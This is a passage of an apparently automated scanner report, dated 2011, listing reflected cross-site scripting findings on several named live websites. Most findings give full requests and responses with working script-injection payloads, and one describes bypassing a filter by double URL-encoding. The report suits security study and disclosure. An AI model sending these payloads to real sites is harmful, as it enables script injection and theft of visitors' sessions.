The value of the cid request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b6e25'-alert(1)-'cbfdf312a0e was submitted in the cid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?cid=inav_homeb6e25'-alert(1)-'cbfdf312a0e&inav=menu_business_openforum HTTP/1.1
Host: www.openforum.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

4.342. https://www.openforum.com/ [inav parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.openforum.com
Path:	/

Issue detail

The value of the inav request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ca69b'-alert(1)-'084dfeb0ca8 was submitted in the inav parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?cid=inav_home&inav=menu_business_openforumca69b'-alert(1)-'084dfeb0ca8 HTTP/1.1
Host: www.openforum.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

4.343. https://www.openforum.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	https://www.openforum.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload f270e'-alert(1)-'17ac5158bd9 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?f270e'-alert(1)-'17ac5158bd9=1 HTTP/1.1
Host: www.openforum.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

4.344. http://www.owneriq.com/manuals-online [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/manuals-online

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4a4b1"><script>alert(1)</script>18871e2d338 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /manuals-online?4a4b1"><script>alert(1)</script>18871e2d338=1 HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

4.345. http://www.owneriq.com/mostiq [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.owneriq.com
Path:	/mostiq

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7adc9"><script>alert(1)</script>31e937516d5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /mostiq?7adc9"><script>alert(1)</script>31e937516d5=1 HTTP/1.1
Host: www.owneriq.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: __utmz=46970937.1296942892.1.1.utmcsr=homeappliance.manualsonline.com|utmccn=(referral)|utmcmd=referral|utmcct=/ex/mfg/headline/m/ariens47888%2527%253balert%2528document.cookie%2529%252f%252f8fcf167d281/d/type/product_problem; __utma=46970937.805338756.1296942892.1296942892.1296942892.1; __avc_31021=f64d-6178-34ed-5f2e12df7d201ca; __utmc=46970937; __utmb=46970937.1.10.1296942892; __alh_31021=http%3A//www.owneriq.com/ownership-targeting%3Fsrc%3D728x90_blue;

Response

4.346. http://www.peppernews.eu/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.peppernews.eu
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d7d65"><script>alert(1)</script>f6336f06cd4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?d7d65"><script>alert(1)</script>f6336f06cd4=1 HTTP/1.1
Host: www.peppernews.eu
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:11:16 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=vd9g8hf893cbm16bpk18sfk1sfprvdrp; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html
Content-Length: 75749

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-T
...[SNIP]...
<input type="hidden" name="return" value="/?d7d65"><script>alert(1)</script>f6336f06cd4=1" />
...[SNIP]...

4.347. http://www.pointehilton.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1e6b8"><script>alert(1)</script>9146d6140e3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?1e6b8"><script>alert(1)</script>9146d6140e3=1 HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Connection: close
Date: Sat, 05 Feb 2011 22:09:27 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Set-Cookie: CFID=16197162;expires=Mon, 28-Jan-2041 22:09:27 GMT;path=/
Set-Cookie: CFTOKEN=56010509;expires=Mon, 28-Jan-2041 22:09:27 GMT;path=/
Content-Type: text/html; charset=UTF-8
Set-Cookie: BIGipServerIMS-6=773065226.20480.0000; path=/

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link rel="canonical" href="http://www.pointehilton.com/index.cfm?1e6b8"><script>alert(1)</script>9146d6140e3=1" >
...[SNIP]...

4.348. http://www.pointehilton.com/404.cfm [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/404.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1761c"><script>alert(1)</script>df41c02bb48 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /404.cfm?1761c"><script>alert(1)</script>df41c02bb48=1 HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Sat, 05 Feb 2011 22:40:48 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link rel="canonical" href="http://www.pointehilton.com/404.cfm?1761c"><script>alert(1)</script>df41c02bb48=1" >
...[SNIP]...

4.349. http://www.pointehilton.com/awards/index.cfm [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/awards/index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7011e"><script>alert(1)</script>c1cb4f5731 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /awards/index.cfm?7011e"><script>alert(1)</script>c1cb4f5731=1 HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:11:11 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link rel="canonical" href="http://www.pointehilton.com/awards/index.cfm?7011e"><script>alert(1)</script>c1cb4f5731=1" >
...[SNIP]...

4.350. http://www.pointehilton.com/contact/index.cfm [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/contact/index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dd987"><script>alert(1)</script>09d3033758 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /contact/index.cfm?dd987"><script>alert(1)</script>09d3033758=1 HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:11:15 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link rel="canonical" href="http://www.pointehilton.com/contact/index.cfm?dd987"><script>alert(1)</script>09d3033758=1" >
...[SNIP]...

4.351. http://www.pointehilton.com/employment/index.cfm [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/employment/index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2e22"><script>alert(1)</script>d6b9d95a80b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /employment/index.cfm?b2e22"><script>alert(1)</script>d6b9d95a80b=1 HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:11:12 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link rel="canonical" href="http://www.pointehilton.com/employment/index.cfm?b2e22"><script>alert(1)</script>d6b9d95a80b=1" >
...[SNIP]...

4.352. http://www.pointehilton.com/favicon.ico [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/favicon.ico

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2eba4"><script>alert(1)</script>5b859fb2210 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /favicon.ico?2eba4"><script>alert(1)</script>5b859fb2210=1 HTTP/1.1
Host: www.pointehilton.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: CFID=16197269; CFTOKEN=78240628; BIGipServerIMS-6=773065226.20480.0000; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; __utmc=69452433; __utmb=69452433.1.10.1296944075; WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900

Response

HTTP/1.1 404 Not Found
Connection: close
Date: Sat, 05 Feb 2011 22:35:19 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link rel="canonical" href="http://www.pointehilton.com/404.cfm?404;http://www.pointehilton.com:80/favicon.ico?2eba4"><script>alert(1)</script>5b859fb2210=1" >
...[SNIP]...

4.353. http://www.pointehilton.com/sitemap/index.cfm [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/sitemap/index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e331"><script>alert(1)</script>86cfb649072 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /sitemap/index.cfm?9e331"><script>alert(1)</script>86cfb649072=1 HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:11:13 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link rel="canonical" href="http://www.pointehilton.com/sitemap/index.cfm?9e331"><script>alert(1)</script>86cfb649072=1" >
...[SNIP]...

4.354. http://www.pointehilton.com/special-offers/index.cfm [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.pointehilton.com
Path:	/special-offers/index.cfm

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2ce71"><script>alert(1)</script>42f3414c72b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /special-offers/index.cfm?2ce71"><script>alert(1)</script>42f3414c72b=1 HTTP/1.1
Host: www.pointehilton.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WT_FPC=id=173.193.214.243-2605364368.30126492:lv=1296936876900:ss=1296936876900; CFTOKEN=78240628; __utmz=69452433.1296944075.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/17; CFID=16197269; __utma=69452433.16251013.1296944075.1296944075.1296944075.1; BIGipServerIMS-6=773065226.20480.0000; __utmc=69452433; __utmb=69452433.1.10.1296944075;

Response

HTTP/1.1 200 OK
Connection: close
Date: Sun, 06 Feb 2011 16:11:14 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Content-Type: text/html; charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" cont
...[SNIP]...
<link rel="canonical" href="http://www.pointehilton.com/special-offers/index.cfm?2ce71"><script>alert(1)</script>42f3414c72b=1" >
...[SNIP]...

4.355. http://www.protopage.com/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.protopage.com
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 2d689'%3balert(1)//dc93207037d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 2d689';alert(1)//dc93207037d in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /?2d689'%3balert(1)//dc93207037d=1 HTTP/1.1
Host: www.protopage.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
Expires: Sat, 6 May 1995 12:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Cache-Control: post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: im=p; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:03 GMT; Path=/
Set-Cookie: ipp=protopage/autocreate; Domain=.protopage.com; Expires=Mon, 06-Feb-2012 16:11:03 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Date: Sun, 06 Feb 2011 16:11:03 GMT
Connection: close

 <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Pro
...[SNIP]...
<script type="text/javascript">pageParams['2d689';alert(1)//dc93207037d'] = unescape('1'); protopageInit();</script>
...[SNIP]...

4.356. http://www.quantcast.com/p-bdv9UMaVrliL2 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.quantcast.com
Path:	/p-bdv9UMaVrliL2

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload a0a42<a>5296194bfd7 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /p-bdv9UMaVrliL2a0a42<a>5296194bfd7 HTTP/1.1
Host: www.quantcast.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html
Content-Language: en
Date: Sun, 06 Feb 2011 16:11:03 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<em> p-bdv9UMaVrliL2a0a42<a>5296194bfd7</em>
...[SNIP]...

4.357. http://www.quantcast.com/p-bdv9UMaVrliL2 [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Firm
Host:	http://www.quantcast.com
Path:	/p-bdv9UMaVrliL2

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6b61e"><a>69886d6c80c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.

Request

GET /p-bdv9UMaVrliL26b61e"><a>69886d6c80c HTTP/1.1
Host: www.quantcast.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 404 Not Found
Server: Apache-Coyote/1.1
Content-Type: text/html
Content-Language: en
Date: Sun, 06 Feb 2011 16:11:02 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; cha
...[SNIP]...
<input type="text" id="query" class="search-main placeholder" name="q" autocomplete="off" value=" p-bdv9UMaVrliL26b61e"><a>69886d6c80c" />
...[SNIP]...

4.358. http://www.scare666.com/news/gambar [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.scare666.com
Path:	/news/gambar

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 68f5e"><script>alert(1)</script>69f7787792 was submitted in the REST URL parameter 2. This input was echoed as 68f5e\"><script>alert(1)</script>69f7787792 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news/gambar68f5e"><script>alert(1)</script>69f7787792 HTTP/1.1
Host: www.scare666.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:10:57 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
Vary: Cookie,Accept-Encoding
X-Pingback: http://www.scare666.com/xmlrpc.php
Cache-Control: max-age=29030400, public
Expires: Sat, 07 Jan 2012 22:10:57 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13688

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"><head profile
...[SNIP]...
<meta name="description" content="News about gambar68f5e\"><script>alert(1)</script>69f7787792 0 at scare666.com. Explore gambar68f5e\">
...[SNIP]...

4.359. http://www.scare666.com/news/gambar [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.scare666.com
Path:	/news/gambar

Issue detail

The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload 6823d<script>alert(1)</script>3f01d4d8a23 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /news/gambar6823d<script>alert(1)</script>3f01d4d8a23 HTTP/1.1
Host: www.scare666.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sat, 05 Feb 2011 22:11:01 GMT
Server: Apache
X-Powered-By: PHP/5.2.16
Vary: Cookie,Accept-Encoding
X-Pingback: http://www.scare666.com/xmlrpc.php
Cache-Control: max-age=29030400, public
Expires: Sat, 07 Jan 2012 22:11:01 GMT
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13653

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="en-US"><head profile
...[SNIP]...
<h2>gambar6823d<script>alert(1)</script>3f01d4d8a23</h2>
...[SNIP]...

4.360. http://www.shoppinga.de/ [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.shoppinga.de
Path:	/

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload bd2d5"><script>alert(1)</script>e3b5e976e9e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /?bd2d5"><script>alert(1)</script>e3b5e976e9e=1 HTTP/1.1
Host: www.shoppinga.de
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Date: Sun, 06 Feb 2011 16:12:43 GMT
Server: Apache/2.2.10 (Linux/SUSE)
X-Powered-By: PHP/5.2.11
Set-Cookie: PHPSESSID=fog5bi39j05ej2c60hmvmftg80sarlil; path=/; HttpOnly
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 61998

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN">

<html dir="ltr" lang="de">
<head>
<meta name="msvalidate.01" content="C0594E2AB82AE90F82DE0425FCA782B9" />

...[SNIP]...
<a href="/bd2d5"><script>alert(1)</script>e3b5e976e9e/1/page/2">
...[SNIP]...

4.361. http://www.slackbooks.com/getthumbnail.ashx [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.slackbooks.com
Path:	/getthumbnail.ashx

Issue detail

The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 8fac7%253cscript%253ealert%25281%2529%253c%252fscript%253e7d5d02802ae was submitted in the REST URL parameter 1. This input was echoed as 8fac7<script>alert(1)</script>7d5d02802ae in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

